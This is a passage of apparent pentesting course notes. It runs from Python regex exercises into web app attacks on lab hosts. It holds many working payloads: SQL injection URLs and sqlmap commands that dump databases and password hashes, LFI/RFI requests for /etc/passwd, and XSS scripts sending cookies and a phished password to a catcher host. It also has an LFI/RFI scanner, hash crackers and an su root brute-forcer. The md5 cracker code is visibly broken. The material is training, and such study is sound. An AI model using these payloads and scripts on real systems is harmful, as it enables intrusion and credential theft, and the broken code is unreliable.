  6751. line = 'asdf fjdk;afed,fjek,asdf,foo'
  6752. result= re.sub(r'[;,\s]',' ', line)
  6753. print (result)
  6754.  
  6755. ----------------------------------------------------------------------
  6756.  
  6757. Output:
  6758. asdf fjdk afed fjek asdf foo
  6759.  
  6760.  
  6761.  
  6762.  
  6763. **************************************************
  6764. * Problem 8: Retrieve Information from HTML file *
  6765. **************************************************
  6766.  
  6767.  
  6768.  
  6769. I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
  6770.  
  6771.  
  6772.  
  6773. Create a file that contains the following data:
  6774. ---------------------------Paste This-----------------------------------
  6775.  
  6776. <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
  6777. <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
  6778. <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
  6779. <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
  6780. <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
  6781. <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
  6782. <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
  6783. ----------------------------------------------------------------------
  6784.  
  6785. Solution:
  6786.  
  6787.  
  6788.  
  6789. Code
  6790. ---------------------------Type This-----------------------------------
  6791. $ python3
  6792. f=open('file.txt', "r")
  6793. import re
  6794. str = f.read()
  6795. result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
  6796. print (result)
  6797. ----------------------------------------------------------------------
  6798.  
  6799. Output:
  6800. [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
  6801.  
  6802.  
  6803.  
  6804. You can read html file using library urllib2 (see below code).
  6805.  
  6806.  
  6807. Code
  6808. ---------------------------Type This-----------------------------------
  6809. $ python3
  6810. import urllib2
  6811. response = urllib2.urlopen('')
  6812. html = response.read()
  6813. ----------------------------------------------------------------------
  6814. NOTE: You can put any website URL that you want in the urllib2.urlopen('')
  6815.  
  6816.  
  6817.  
  6818.  
  6819. ##################################
  6820. # Day 2 Homework videos to watch #
  6821. ##################################
  6822. Here is your first set of youtube videos that I'd like for you to watch:
  6823. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
  6824.  
  6825.  
  6826.  
  6827.  
  6828.  
  6829.  
  6830.  
  6831.  
  6832.  
  6833.  
  6834.                            ###############################################################
  6835. ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
  6836.                            ###############################################################
  6837.  
  6838. ##################################
  6839. # Basic: Web Application Testing #
  6840. ##################################
  6841.  
  6842. Most people are going to tell you reference the OWASP Testing guide.
  6843. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  6844.  
  6845. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  6846.  
  6847.  
  6848. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  6849.  
  6850.    1. Does the website talk to a DB?
  6851.        - Look for parameter passing (ex: site.com/page.php?id=4)
  6852.        - If yes - try SQL Injection
  6853.  
  6854.    2. Can I or someone else see what I type?
  6855.        - If yes - try XSS
  6856.  
  6857.    3. Does the page reference a file?
  6858.        - If yes - try LFI/RFI
  6859.  
  6860. Let's start with some manual testing against 45.63.104.73
  6861.  
  6862.  
  6863. #######################
  6864. # Attacking PHP/MySQL #
  6865. #######################
  6866.  
  6867. Go to LAMP Target homepage
  6868. http://45.63.104.73/
  6869.  
  6870.  
  6871.  
  6872. Clicking on the Acer Link:
  6873. http://45.63.104.73/acre2.php?lap=acer
  6874.  
  6875.    - Found parameter passing (answer yes to question 1)
  6876.    - Insert ' to test for SQLI
  6877.  
  6878. ---------------------------Type This-----------------------------------
  6879.  
  6880. http://45.63.104.73/acre2.php?lap=acer'
  6881.  
  6882. -----------------------------------------------------------------------
  6883.  
  6884. Page returns the following error:
  6885. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  6886.  
  6887.  
  6888.  
  6889. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  6890. We do this using the ORDER BY
  6891.  
  6892. ---------------------------Type This-----------------------------------
  6893.  
  6894. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  6895. -----------------------------------------------------------------------
  6896.  
  6897. Page returns the following error:
  6898. Unknown column '100' in 'order clause'
  6899.  
  6900.  
  6901. ---------------------------Type This-----------------------------------
  6902.  
  6903. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  6904. -----------------------------------------------------------------------
  6905.  
  6906. Page returns the following error:
  6907. Unknown column '50' in 'order clause'
  6908.  
  6909.  
  6910. ---------------------------Type This-----------------------------------
  6911.  
  6912. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  6913. -----------------------------------------------------------------------
  6914.  
  6915. Page returns the following error:
  6916. Unknown column '25' in 'order clause'
  6917.  
  6918.  
  6919. ---------------------------Type This-----------------------------------
  6920.  
  6921. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  6922. -----------------------------------------------------------------------
  6923.  
  6924. Page returns the following error:
  6925. Unknown column '12' in 'order clause'
  6926.  
  6927.  
  6928. ---------------------------Type This-----------------------------------
  6929.  
  6930. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  6931. -----------------------------------------------------------------------
  6932.  
  6933. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  6934.  
  6935.  
  6936.  
  6937. Now we build out the union all select statement with the correct number of columns
  6938.  
  6939. Reference:
  6940. http://www.techonthenet.com/sql/union.php
  6941.  
  6942.  
  6943. ---------------------------Type This-----------------------------------
  6944.  
  6945. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  6946. -----------------------------------------------------------------------
  6947.  
  6948.  
  6949.  
  6950. Now we negate the parameter value 'acer' by turning into the word 'null':
  6951. ---------------------------Type This-----------------------------------
  6952.  
  6953. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  6954. -----------------------------------------------------------------------
  6955.  
  6956. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  6957.  
  6958.  
  6959. Use a cheat sheet for syntax:
  6960. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  6961.  
  6962. ---------------------------Type This-----------------------------------
  6963.  
  6964. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  6965.  
  6966. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  6967.  
  6968. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  6969.  
  6970. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  6971.  
  6972.  
  6973. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  6974.  
  6975. -----------------------------------------------------------------------
  6976.  
  6977.  
  6978.  
  6979. ########################
  6980. # Question I get a lot #
  6981. ########################
  6982. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  6983.  
  6984. Here is a good reference for it:
  6985. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  6986.  
  6987. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  6988.  
  6989.  
  6990.  
  6991.  
  6992. #########################
  6993. # File Handling Attacks #
  6994. #########################
  6995.  
  6996. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  6997.  
  6998. ---------------------------Type This-----------------------------------
  6999.  
  7000. http://45.63.104.73/showfile.php?filename=about.txt
  7001.  
  7002. -----------------------------------------------------------------------
  7003.  
  7004.  
  7005. See if you can read files on the file system:
  7006. ---------------------------Type This-----------------------------------
  7007.  
  7008. http://45.63.104.73/showfile.php?filename=/etc/passwd
  7009. -----------------------------------------------------------------------
  7010.  
  7011. We call this attack a Local File Include or LFI.
  7012.  
  7013. Now let's find some text out on the internet somewhere:
  7014. https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  7015.  
  7016.  
  7017. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  7018.  
  7019. ---------------------------Type This-----------------------------------
  7020.  
  7021. http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  7022. -----------------------------------------------------------------------
  7023.  
  7024. #########################################################################################
  7025. # SQL Injection                                                                         #
  7026. # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
  7027. #########################################################################################
  7028.  
  7029.  
  7030. - Another quick way to test for SQLI is to remove the paramter value
  7031.  
  7032.  
  7033. #############################
  7034. # Error-Based SQL Injection #
  7035. #############################
  7036. ---------------------------Type This-----------------------------------
  7037.  
  7038. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  7039. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  7040. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  7041. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  7042. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  7043. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
  7044. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  7045. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  7046. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  7047.  
  7048. -----------------------------------------------------------------------
  7049.  
  7050.  
  7051.  
  7052. #############################
  7053. # Union-Based SQL Injection #
  7054. #############################
  7055.  
  7056. ---------------------------Type This-----------------------------------
  7057.  
  7058. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  7059. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  7060. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  7061. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  7062. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  7063. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  7064. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  7065. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  7066. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  7067. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  7068. -----------------------------------------------------------------------
  7069.  
  7070.    We are using a union select statement because we are joining the developer's query with one of our own.
  7071.    Reference:
  7072.    http://www.techonthenet.com/sql/union.php
  7073.    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  7074.    It removes duplicate rows between the various SELECT statements.
  7075.  
  7076.    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  7077.  
  7078. ---------------------------Type This-----------------------------------
  7079.  
  7080. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  7081. -----------------------------------------------------------------------
  7082.  
  7083.    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  7084.  
  7085. ---------------------------Type This-----------------------------------
  7086.  
  7087. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  7088. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  7089. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  7090. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  7091.  
  7092. -----------------------------------------------------------------------
  7093.  
  7094.  
  7095.  
  7096.  
  7097. - Another way is to see if you can get the backend to perform an arithmetic function
  7098.  
  7099. ---------------------------Type This-----------------------------------
  7100.  
  7101. http://45.77.162.239/bookdetail.aspx?id=(2)
  7102. http://45.77.162.239/bookdetail.aspx?id=(4-2)  
  7103. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  7104.  
  7105.  
  7106.  
  7107. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  7108. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  7109. http://45.77.162.239/bookdetail.aspx?id=1*1
  7110. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  7111. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  7112. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  7113. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  7114. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  7115.  
  7116.  
  7117.  
  7118. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  7119. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  7120. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  7121. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  7122.  
  7123. -----------------------------------------------------------------------
  7124.  
  7125.  
  7126. ###############################
  7127. # Blind SQL Injection Testing #
  7128. ###############################
  7129. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  7130.    
  7131. 3 - Total Characters
  7132. ---------------------------Type This-----------------------------------
  7133.  
  7134. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  7135. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  7136. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
  7137. -----------------------------------------------------------------------
  7138.  
  7139. Let's go for a quick check to see if it's DBO
  7140.  
  7141. ---------------------------Type This-----------------------------------
  7142.  
  7143. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  7144. -----------------------------------------------------------------------
  7145.  
  7146. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  7147.  
  7148. ---------------------------Type This-----------------------------------
  7149.  
  7150. D  - 1st Character
  7151. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
  7152. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  7153. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  7154. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  7155.  
  7156. B - 2nd Character
  7157. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  7158. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  7159.  
  7160. O - 3rd Character
  7161. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  7162. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  7163. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  7164. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  7165. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  7166. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
  7167. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  7168.  
  7169. -----------------------------------------------------------------------
  7170.  
  7171.  
  7172.  
  7173.  
  7174. ####File not Found
  7175. ##########
  7176. # Sqlmap #
  7177. ##########
  7178. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  7179.  
  7180.  ---------------------------Type This-----------------------------------
  7181.  
  7182. cd /home/strategicsec/toolz/sqlmap-dev/
  7183. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  7184. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  7185. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  7186. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  7187. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  7188. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  7189. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  7190. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  7191. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  7192. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  7193.  
  7194. -----------------------------------------------------------------------
  7195.  
  7196. ###############################################################################
  7197. # What is XSS                                                                 #
  7198. # http://45.63.104.73/2-Intro_To_XSS.pptx             #
  7199. ###############################################################################
  7200.  
  7201. OK - what is Cross Site Scripting (XSS)
  7202.  
  7203. 1. Use Firefox to browse to the following location:
  7204. ---------------------------Type This-----------------------------------
  7205.  
  7206.    http://45.63.104.73/xss_practice/
  7207. -----------------------------------------------------------------------
  7208.  
  7209.    A really simple search page that is vulnerable should come up.
  7210.  
  7211.  
  7212.  
  7213.  
  7214. 2. In the search box type:
  7215. ---------------------------Type This-----------------------------------
  7216.  
  7217.    <script>alert('So this is XSS')</script>
  7218. -----------------------------------------------------------------------
  7219.  
  7220.  
  7221.    This should pop-up an alert window with your message in it proving XSS is in fact possible.
  7222.    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  7223.  
  7224.  
  7225. 3. In the search box type:
  7226. ---------------------------Type This-----------------------------------
  7227.  
  7228.    <script>alert(document.cookie)</script>
  7229. -----------------------------------------------------------------------
  7230.  
  7231.  
  7232.    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  7233.    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  7234.  
  7235. 4. Now replace that alert script with:
  7236. ---------------------------Type This-----------------------------------
  7237.  
  7238.    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  7239. -----------------------------------------------------------------------
  7240.  
  7241.  
  7242. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  7243.  
  7244.  
  7245. 5. Now view the stolen cookie at:
  7246. ---------------------------Type This-----------------------------------
  7247.  
  7248.    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  7249. -----------------------------------------------------------------------
  7250.  
  7251.  
  7252. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  7253.  
  7254.  
  7255.  
  7256.  
  7257.  
  7258.  
  7259. ############################
  7260. # A Better Way To Demo XSS #
  7261. ############################
  7262.  
  7263.  
  7264. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  7265.  
  7266.  
  7267. Use Firefox to browse to the following location:
  7268. ---------------------------Type This-----------------------------------
  7269.  
  7270.    http://45.63.104.73/xss_practice/
  7271. -----------------------------------------------------------------------
  7272.  
  7273.  
  7274.  
  7275. Paste this in the search box
  7276. ----------------------------
  7277.  
  7278.  
  7279. ---------------------------Type This-----------------------------------
  7280.  
  7281. <script>
  7282. password=prompt('Your session is expired. Please enter your password to continue',' ');
  7283. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  7284. </script>
  7285. -----------------------------------------------------------------------
  7286.  
  7287.  
  7288. Now view the stolen cookie at:
  7289. ---------------------------Type This-----------------------------------
  7290.  
  7291.    http://45.63.104.73/xss_practice/passwords.html
  7292.  
  7293. -----------------------------------------------------------------------
  7294.  
  7295.  
  7296.  
  7297.  
  7298. #################################################
  7299. # Lesson 25: Python Functions & String Handling #
  7300. #################################################
  7301.  
  7302. Python can make use of functions:
  7303. http://www.tutorialspoint.com/python/python_functions.htm
  7304.  
  7305.  
  7306.  
  7307. Python can interact with the 'crypt' function used to create Unix passwords:
  7308. http://docs.python.org/2/library/crypt.html
  7309.  
  7310.  
  7311.  
  7312. Tonight we will see a lot of the split() method so be sure to keep the following references close by:
  7313. http://www.tutorialspoint.com/python/string_split.htm
  7314.  
  7315.  
  7316. Tonight we will see a lot of slicing so be sure to keep the following references close by:
  7317. http://techearth.net/python/index.php5?title=Python:Basics:Slices
  7318.  
  7319.  
  7320. ---------------------------Type This-----------------------------------
  7321. vi LFI-RFI.py
  7322.  
  7323.  
  7324. ---------------------------Paste This-----------------------------------
  7325.  
  7326.  
  7327.  
  7328. #!/usr/bin/env python3
  7329. print("\n### PHP LFI/RFI Detector ###")
  7330.  
  7331. import urllib.request, urllib.error, urllib.parse,re,sys
  7332.  
  7333. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  7334. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  7335. TravLimit = 12
  7336.  
  7337. print("==> Testing for LFI vulns..")
  7338. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  7339. for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
  7340.    TARGET += "../"
  7341.    try:
  7342.        source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
  7343.    except urllib.error.URLError as e:
  7344.        print("$$$ We had an Error:",e)
  7345.        sys.exit(0)
  7346.    if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  7347.        print("!! ==> LFI Found:",TARGET+"etc/passwd")
  7348.        break ## BREAK LOOP WHEN VULN FOUND
  7349.  
  7350. print("\n==> Testing for RFI vulns..")
  7351. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  7352. try:
  7353.    source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  7354. except urllib.error.URLError as e:
  7355.    print("$$$ We had an Error:",e)
  7356.    sys.exit(0)
  7357. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  7358.    print("!! => RFI Found:",TARGET)
  7359.    
  7360. print("\nScan Complete\n") ## DONE
  7361.  
  7362.  
  7363.  
  7364.  
  7365. -----------------------------------------------------------------------
  7366.  
  7367.  
  7368. -----------------------------------------------------------------------
  7369.  
  7370.  
  7371. ################################
  7372. # Lesson 26: Password Cracking #
  7373. ################################
  7374.  
  7375. ---------------------------Type This-----------------------------------
  7376.  
  7377. wget http://45.63.104.73/htcrack.py
  7378.  
  7379. vi htcrack.py
  7380.  
  7381.  
  7382. ---------------------------Paste This-----------------------------------
  7383. #!/usr/bin/env python
  7384.  
  7385. import crypt, sys
  7386.  
  7387. if len(sys.argv) != 3:
  7388.     print("Usage: ./htcrack.py <password> <wordlist>")
  7389.     print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]");
  7390.     sys.exit(1)
  7391.    
  7392. pw = sys.argv[1].split(":",1)
  7393. try:
  7394.  words = open(sys.argv[2], "r")
  7395. except(IOError):
  7396.  print("Error: Check your wordlist path\n")
  7397.  sys.exit(1)
  7398. wds = words.readlines()
  7399. print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
  7400. print("     - http://darkcode.ath.cx -")
  7401. print("\n",len(wds),"words loaded...")
  7402. for w in wds:
  7403.     if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
  7404.         print("\nCracked:",pw[0]+":"+w,"\n")
  7405.  
  7406.  
  7407. ---------------------------Type This-----------------------------------
  7408. vi list.txt
  7409.  
  7410. ---------------------------Paste This-----------------------------------
  7411.  
  7412. hello
  7413. goodbye
  7414. red
  7415. blue
  7416. yourname
  7417. tim
  7418. bob
  7419.  
  7420. -----------------------------------------------------------------------
  7421.  
  7422. ---------------------------Type This-----------------------------------
  7423.  
  7424. htpasswd -nd yourname
  7425.     - enter yourname as the password
  7426.  
  7427.  
  7428.  
  7429. $ python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
  7430.  
  7431.  
  7432.  
  7433.  
  7434. sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
  7435.  
  7436.  
  7437.  
  7438. sudo /bin/bash
  7439.  
  7440. passwd
  7441.     ***set root password***
  7442.  
  7443.  
  7444.  
  7445. ---------------------------Type This-----------------------------------
  7446.  
  7447. vi rootbrute.py
  7448.  
  7449. ---------------------------Paste This-----------------------------------
  7450.  
  7451.  
  7452. #!/usr/bin/env python3
  7453.  
  7454. import sys
  7455. try:
  7456.        import pexpect
  7457. except(ImportError):
  7458.        print("\nYou need the pexpect module.")
  7459.        print("http://www.noah.org/wiki/Pexpect\n")
  7460.        sys.exit(1)
  7461.  
  7462. #Change this if needed.
  7463. # LOGIN_ERROR = 'su: incorrect password'
  7464. LOGIN_ERROR = "su: Authentication failure"
  7465.  
  7466. def brute(word):
  7467.        print("Trying:",word)
  7468.        child = pexpect.spawn('/bin/su')
  7469.        child.expect('Password: ')
  7470.        child.sendline(word)
  7471.        i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
  7472.        if i == 1:
  7473.                print("Incorrect Password")
  7474.  
  7475.        if i == 2:
  7476.                print("\n\t[!] Root Password:" ,word)
  7477.                child.sendline ('id')
  7478.                print(child.before)
  7479.                child.interact()
  7480.  
  7481. if len(sys.argv) != 2:
  7482.        print("\nUsage : ./rootbrute.py <wordlist>")
  7483.        print("Eg: ./rootbrute.py words.txt\n")
  7484.        sys.exit(1)
  7485.  
  7486. try:
  7487.        words = open(sys.argv[1], "r").readlines()
  7488. except(IOError):
  7489.        print("\nError: Check your wordlist path\n")
  7490.        sys.exit(1)
  7491.  
  7492. print("\n[+] Loaded:",len(words),"words")
  7493. print("[+] BruteForcing...\n")
  7494. for word in words:
  7495.        brute(word.replace("\n",""))
  7496.  
  7497.  
  7498. -----------------------------------------------------------------------
  7499.  
  7500.  
  7501. References you might find helpful:
  7502. http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
  7503.  
  7504.  
  7505.  
  7506.  
  7507.  
  7508.  
  7509.  
  7510. ---------------------------Type This-----------------------------------
  7511. it does not work in python 3 we must change the module
  7512.  
  7513. wget http://45.63.104.73/md5crack.py
  7514.  
  7515. vi md5crack.py
  7516.  
  7517. #!/usr/bin/env python3
  7518.  
  7519. import md5hash, base64, sys
  7520.  
  7521. if len(sys.argv) != 3:
  7522.     print("Usage: ./md5crack.py <hash> <wordlist>")
  7523.     sys.exit(1)
  7524.    
  7525. pw = sys.argv[1]
  7526. wordlist = sys.argv[2]
  7527. try:
  7528.  words = open(wordlist, "r")
  7529. except(IOError):
  7530.  print("Error: Check your wordlist path\n")
  7531.  sys.exit(1)
  7532. words = words.readlines()
  7533. print("\n",len(words),"words loaded...")
  7534. hashes = {}
  7535. for word in words:
  7536.     hash = md5.new()
  7537.     hash.update(word[:-1])
  7538.     value = hash.hexdigest()
  7539.     hashes[word[:-1]] = value
  7540. for (key, value) in list(hashes.items()):
  7541.     if pw == value:
  7542.         print("Password is:",key,"\n")
  7543.  
  7544. -----------------------------------------------------------------------
  7545.  
  7546.  
  7547.  
  7548.  
  7549. Why use hexdigest
  7550. http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
  7551.  
  7552.  
  7553.  
  7554.  
  7555. http://md5online.net/
  7556.  
  7557.  
  7558.  
  7559. ---------------------------Type This-----------------------------------
  7560.  
  7561.  
  7562. wget http://45.63.104.73/wpbruteforcer.py
  7563.  
  7564.  
  7565. -----------------------------------------------------------------------
  7566.  
  7567.  
